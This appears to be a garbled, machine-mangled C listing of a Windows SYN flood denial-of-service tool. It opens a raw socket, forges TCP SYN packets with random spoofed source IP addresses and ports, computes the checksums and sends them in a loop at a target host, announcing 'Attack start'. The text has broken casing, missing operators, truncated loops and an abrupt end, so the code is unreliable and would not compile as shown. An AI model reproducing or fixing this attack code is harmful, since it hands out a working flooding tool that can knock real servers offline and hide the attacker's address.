Author: Yunshu #include
// Detect the current thread number // main function int main (int Argc, char * argv []) {wsadata wsadata; dword threadid = 1; handle threadHandle = NULL; if (argc! = 4) {printf ("/ n% S / T
IF (Setup (Argv [1], Argv [2]) == 1) {Printf ("Initialization Completion / N");} else {printf ("initialization failed / n"); return -1;} printf (" Attack start ... / N "); while (1) {threadid = 1; for (int TMP = 0; TMP ) {WSPRINTF (SRC_IP, "% D.% D.% D.% D", rand ()% 250 1, rand ()% 250 1, rand ()% 250 1, rand ()% 250 1); // Fill the IP header ipHeader.h_verlen = (4 << 4 | sizeof (ipheader) / sizeof (unsigned long); ipHeader.tos = 0; ipHeader.total_len = Htons (ipHeader Sizeof) (SIZEOF (Ipheader) Sizeof TcpHeader)); IpHeader.ident = 1; IpHeader.frag_and_flags = 0x40; IpHeader.ttl = 128; IpHeader.proto = IPPROTO_TCP; IpHeader.checksum = 0; IpHeader.sourceIP = inet_addr (src_ip); IpHeader.destIP = inet_addr (dst_ip ); // fill TCP header TCPHEADER.TH_SPORT = HTONS (RAND ()% 60000 1); // Source port number TCPHEADER.TH_DPORT = HTONS (atoi (destport)); tcpheader.th_seq = HTONL (Rand ()% 900000000 1); tcpheader.th_ack = 0; tcpheader.th_lenres = (sizeof (tcpHeader) / 4 << 4 | 0); tcpheader.th_flag = 2; // 0, 2, 4, 8, 16, 32-> Fin , SYN, RST, PSH, ACK, URG TC pHeader.th_win = htons (512); TcpHeader.th_sum = 0; TcpHeader.th_urp = 0; PsdHeader.saddr = IpHeader.sourceIP; PsdHeader.daddr = IpHeader.destIP; PsdHeader.mbz = 0; PsdHeader.ptcl = IPPROTO_TCP; PsdHeader .tcpl = htons (SIZEOF (TCPHEADER)); // Calculate TCP checksum Memcpy (SendBuff [N], & PSDHeader, SizeOf (PsdHeader)); Memcpy (SendBuff [N] Sizeof (Psdheader), & Tcpheader, Sizeof (TCPHEADER )); Tcpheader.th_sum = checksum ((ushort *) sendbuff [n], sizeof (psdheader) SIZEOF (TCPHEADER)); // Computing IP Test and Memcpy (SendBuff [N], & iPheader, SizeOf (Ipheter)); Memcpy (IpHeader), & Tcpheader, Sizeof (TCPHEADER); MEMSET (SendBuff [n] sizeof (IpHeader) sizeof (TcpHeader), 0, 4); IpHeader.checksum = checksum ((USHORT *) SendBuff, sizeof (IpHeader) sizeof (TcpHeader)); memcpy (SendBuff [n], & IpHeader , SIZEOF (Ipheter); Memcpy (Ipheter), & Tcpheader, SizeOf (TCPHEADER));} Bool flag; int Timeout; // Established native data socket / * if ((Sendsocket = WSASASOCKET (AF_INET , SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {CurrentThread--; return 0;} * / SendSocket = WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED); if (SendSocket == INVALID_SOCKET ) {Return 0;} // Set yourself fill the packet flag = true; if (setsockopt (Send " Socket, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (flag)) == Socket_ERROR) {Printf ("setsockopt error / N"); return 0;} // Set timeout timeout = 1000; if (setsockopt Sendsocket, SOL_SOCKET, SO_SNDTIMEO, (CHAR *) & TIMEOUT, SIMEOF (TIMEOUT)) == SOCKET_ERROR) {Return 0;} Return 1;} // Name: send_packet // Description: Send SYN Packet DWord WinApi Send_packet to the Target Host LPVOID LP) {// Send Packet INT TMP = (int) lp; int RET, count = 0; while {RET = Sendto (SendSocket, SendBuff [TMP], SIZEOF (IP_HEADER)